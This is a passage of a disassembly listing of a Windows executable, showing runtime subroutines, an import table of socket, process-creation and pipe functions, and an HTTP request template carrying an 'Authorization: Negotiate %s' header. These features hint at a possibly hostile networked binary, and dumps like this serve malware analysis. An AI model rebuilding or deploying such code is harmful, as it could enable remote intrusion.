seg001:00420AD0j retn ; =============== S U B R O U T I N E ======================================= sub_420AD8 proc near ; CODE XREF: seg001:00420AF0p mov dword ptr [ecx], offset off_421CE8 mov ecx, [ecx+4] test ecx, ecx jz short locret_420AEC push ecx call sub_415C9B pop ecx locret_420AEC: ; CODE XREF: sub_420AD8+Bj retn sub_420AD8 endp ; --------------------------------------------------------------------------- loc_420AED: ; DATA XREF: seg001:off_421CE8o push esi mov esi, ecx call sub_420AD8 test byte ptr [esp+8], 1 jz short loc_420B03 push esi call sub_41630F pop ecx loc_420B03: ; CODE XREF: seg001:00420AFAj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B09 proc near ; CODE XREF: sub_4206B0+54p ; sub_42077B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_421CF0 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_421188 ; RaiseException pop edi pop esi leave retn 8 sub_420B09 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_420B44 proc near ; DATA XREF: seg001:00421E9Co ; FUNCTION CHUNK AT 00404AD7 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_404AD7 sub_420B44 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_420B62 mov ecx, [ebp+8] jmp loc_404AD7 ; --------------------------------------------------------------------------- locret_420B62: ; CODE XREF: seg001:00420B54j retn ; --------------------------------------------------------------------------- loc_420B63: ; DATA XREF: sub_40467Co mov eax, offset dword_421EA0 jmp loc_415FAB ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_404AD7 ; --------------------------------------------------------------------------- loc_420B78: ; DATA XREF: seg001:00421EC8o lea ecx, [ebp-1Ch] jmp loc_404AD7 ; --------------------------------------------------------------------------- loc_420B80: ; DATA XREF: sub_40481Bo mov eax, offset dword_421ECC jmp loc_415FAB ; --------------------------------------------------------------------------- align 4 loc_420B8C: ; DATA XREF: sub_404DB8o mov eax, offset dword_421F1C jmp loc_415FAB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404AD7 ; --------------------------------------------------------------------------- loc_420BA0: ; DATA XREF: sub_4206B0o mov eax, offset dword_421FB8 jmp loc_415FAB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_420AB5 ; --------------------------------------------------------------------------- loc_420BB4: ; DATA XREF: sub_42070Ao mov eax, offset dword_421FE0 jmp loc_415FAB ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_420AB5 ; --------------------------------------------------------------------------- loc_420BC8: ; DATA XREF: sub_420798o mov eax, offset dword_422028 jmp loc_415FAB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_420AB5 ; --------------------------------------------------------------------------- loc_420BDC: ; DATA XREF: sub_4207F1o mov eax, offset dword_422050 jmp loc_415FAB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_420AB5 ; --------------------------------------------------------------------------- loc_420BF0: ; DATA XREF: sub_42084Eo mov eax, offset dword_422078 jmp loc_415FAB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404AD7 ; --------------------------------------------------------------------------- loc_420C04: ; DATA XREF: sub_4208DCo mov eax, offset dword_4220E0 jmp loc_415FAB ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_420AB5 ; --------------------------------------------------------------------------- loc_420C18: ; DATA XREF: sub_420936o mov eax, offset dword_422108 jmp loc_415FAB ; --------------------------------------------------------------------------- align 4 dd 0F7h dup(0) dword_421000 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_421004 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_421008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_420119+261r dword_42100C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_420119+B9r dword_421010 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_421014 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_421018 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42101C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41E7F5+6r dword_421020 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_421024 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_41DCE8:loc_41DD3Br dword_421028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_41DA93+12Dr dword_42102C dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_41DA93+8Dr dword_421030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_41D4EF+166r ... dword_421034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_41D7B5+143r dword_421038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42103C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_41D3BD+E1r dword_421044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_421048 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_401444+95r ... dword_42104C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401444+1A6r ... dword_421050 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4010B2+2D4r ... dword_421054 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_4018CB+FFr dword_421058 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_40A9D8+183r ... dword_42105C dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_40B078+Dr ... dword_421060 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40282F+E3r ... dword_421064 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4030B0+65r ... dword_421068 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_406978+80r ... dword_42106C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4033B6+150r ... dword_421070 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_409D34+AEr ... dword_421074 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_421078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_406048+1C3r ... dword_42107C dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_4071B6+58r ... dword_421080 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_40A9D8+1B6r dword_421084 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_40A9D8+19Fr dword_421088 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_4071B6+12Br ... dword_42108C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_4071B6+10Br ... dword_421090 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_406978+38r ... dword_421094 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_409D34+10Fr ... dword_421098 dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4087CA+C0r ... dword_42109C dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTimedword_4210A0 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTimedword_4210A4 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_4062F7+5DCr ... dword_4210A8 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_4087CA+26r dword_4210AC dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40B61A+259r ... dword_4210B0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_4078DF+241r dword_4210C0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_40891C:loc_408E0Cr ... dword_4210C4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_41A77A+15r ... dword_4210C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_409D34+FBr ... dword_4210CC dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_4210D0 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4210D4 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_4210D8 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_4210DC dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_4210E0 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_4210E4 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_4210E8 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_4210EC dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_409EBC+B4r ... dword_4210F0 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4210F4 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_40C574+1BFr ... dword_4210F8 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_40CD3A+3C9Br dword_4210FC dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_421100 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_421104 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_413BE5+Cr ... dword_421108 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_42110C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg001:004140F2r ... dword_421110 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_421114 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40C48C+DFr ... dword_421118 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_40CD3A+46F3r ... dword_42111C dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_413C50+184r ... dword_421120 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_421124 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_421128 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40C574+2FAr dword_42112C dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_421130 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_414F15+27r dword_421134 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_421138 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_41C639+20Dr ... dword_42113C dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; seg001:00414011r dword_421140 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_413EDB+1Fr ... dword_421144 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_421148 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_42114C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41737F+C6r ... dword_421150 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_418CE8+2C5r ... dword_421154 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_421158 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_41EA02+38r dword_42115C dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_421160 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41737F+22Dr ... dword_421164 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_41D4EF+59r dword_421168 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_42116C dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_421170 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_421174 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_421178 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_42117C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_4197BC+120r ... dword_421180 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_4193CB+51r ... dword_421184 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_421188 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_420B09+2Er dword_42118C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_421190 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_41C639+A7r dword_421194 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_41C639+14Dr ... dword_421198 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_41CA9C+14r ... dword_42119C dd 7C809915h ; resolved to->KERNEL32.GetACPdword_4211A0 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4211A4 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4211A8 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA align 10h dword_4211B0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_4059FC+8Er dword_4211B4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40597F+15r dword_4211B8 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4211BC dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_4211C0 dd 71AB3E00h ; resolved to->WS2_32.binddword_4211C4 dd 71AB88D3h ; resolved to->WS2_32.listendword_4211C8 dd 71AC1028h ; resolved to->WS2_32.acceptdword_4211CC dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_4211D0 dd 71AC0BDEh ; resolved to->WS2_32.shutdowndword_4211D4 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_405398+115r dword_4211D8 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4211DC dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_402DD1+2Ar ... dword_4211E0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40297A+EEr ... dword_4211E4 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_402DD1+49r ... dword_4211E8 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_402DD1+64r ... dword_4211EC dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40282F+135r ... dword_4211F0 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40297A+26Dr ... dword_4211F4 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_402DD1+154r ... align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40481B+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_421240 dq 1.388888888888889e-2 ; DATA XREF: sub_404630+2Fr dbl_421248 dq 1.666666666666667e-1 ; DATA XREF: sub_404630+15r dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_40467C+7Ar dword_421258 dd 2 dup(0) ; sub_404B91+57o ... dword_421260 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_421660 dq 9.765625e-4 ; DATA XREF: sub_40BBF7+2B8r ; sub_40BBF7+2CDr ... dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_413F12+1Er dbl_421670 dq 1.0 ; DATA XREF: sub_415D04+6Cr ; sub_415E4B+6Cr ... dword_421678 dd 0FFFFFFFFh, 417BEFh, 417C03hbyte_421684 db 6 ; DATA XREF: sub_417D6C:loc_417DC3r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: seg001:off_437F1Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: seg001:off_437F18o align 4 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_418AD0+8Eo align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_418AD0+4Fo align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: seg001:off_43A16Co align 10h dbl_4217E0 dq 0.0 ; DATA XREF: sub_41A227+8Cr ; sub_41A227+ACr ... dbl_4217E8 dq 4.195835e6 ; DATA XREF: sub_41A73C+Fr dbl_4217F0 dq 3.145727e6 ; DATA XREF: sub_41A73C+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41A77A+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41A77Ao align 10h aE000 db 'e+000',0 ; DATA XREF: sub_41A8A1+93o align 4 dword_421828 dd 0FFFFFFFFh, 41AF8Ch, 41AF96h, 0dword_421838 dd 0FFFFFFFFh, 0 dd offset loc_41B112 align 8 dd offset sub_41B0F0 dd offset sub_41B0FA dword_421850 dd 0FFFFFFFFh, 41B342h, 41B346h, 0dword_421860 dd 0FFFFFFFFh, 41B3A4h, 41B3ADh, 0dword_421870 dd 0FFFFFFFFh, 0 dd offset loc_41B47D align 10h dd offset loc_41B469 dd offset loc_41B46D dword_421888 dd 0FFFFFFFFh, 0 dd offset loc_41B4D3 align 8 dd offset loc_41B4BF ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0B4h, 41h, 0 dword_4218A0 dd 2 dup(0) ; sub_41DA93+39o ... dword_4218A8 dd 0FFFFFFFFh, 41C749h, 41C74Dh, 0FFFFFFFFh, 41C7FDh, 41C801h ; DATA XREF: sub_41C639+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg001:off_43A5ACo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D7B5+119o align 10h asc_421B70 db 0Ah ; DATA XREF: sub_41D7B5+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41D7B5+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41D7B5+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41D7B5+7Do align 10h dword_421BB0 dd 0FFFFFFFFh, 41DB8Ch, 41DB90haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41EA02+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41EF8E+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41EF8E+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41EF8E+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F8D8:loc_41F9CDo align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41F8D8+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41F8D8+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F8D8+ADo align 10h dword_421C50 dd 0FFFFFFFFh, 4202D0h, 4202D4h, 0FFFFFFFFh, 42033Fh, 420343h ; DATA XREF: sub_420119+5o dd 421D78h off_421C6C dd offset loc_4208A8 ; DATA XREF: sub_4206B0+4Do ; sub_4208C4+Co dd offset sub_42076E dd offset sub_42088B aStringTooLong db 'string too long',0 ; DATA XREF: sub_4206B0+1Eo dd offset dword_421DB0 off_421C8C dd offset loc_4207D5 ; DATA XREF: sub_42070A+4Eo ; sub_420798+11o ... dd offset sub_42076E dd offset sub_42077B dword_421C98 dd 0FFFFFFFFh ; sub_4207F1+34r dd offset dword_421E00 off_421CA0 dd offset loc_420990 ; DATA XREF: sub_4208DC+4Do ; sub_4209AC+Co dd offset sub_42076E dd offset sub_420973 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4208DC+1Eo dd offset dword_421E30 off_421CC8 dd offset sub_420A12 ; DATA XREF: sub_420A2E+8o ; sub_420A6B+8o ... ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0Ah, 42h, 0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: seg001:00420AD2o align 4 dd offset dword_421E78 off_421CE8 dd offset loc_420AED ; DATA XREF: sub_420AD8o ; seg001:off_43ACD0o ... align 10h dword_421CF0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_421D10 dd offset off_43ACD0 ; DATA XREF: seg001:00421D60o ; seg001:00421D94o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_421D28 dd offset off_43ACE8 ; DATA XREF: seg001:00421D5Co ; seg001:00421D90o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_421D40 dd offset off_43AD08 ; DATA XREF: seg001:00421D58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421D40 dd offset off_421D28 dd offset off_421D10 dd 0 db 0 ; DATA XREF: seg001:00421D88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 421D58h, 3 dup(0) dd offset off_43AD08 dd offset unk_421D68 align 10h dd offset off_421D28 dd offset off_421D10 dword_421D98 dd 4 dup(0) dd 2, 421D90h dword_421DB0 dd 3 dup(0) dd offset off_43ACE8 dd offset dword_421D98+8 align 8 off_421DC8 dd offset off_43AD28 ; DATA XREF: seg001:00421DE0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421DC8 dd offset off_421D28 dd offset off_421D10 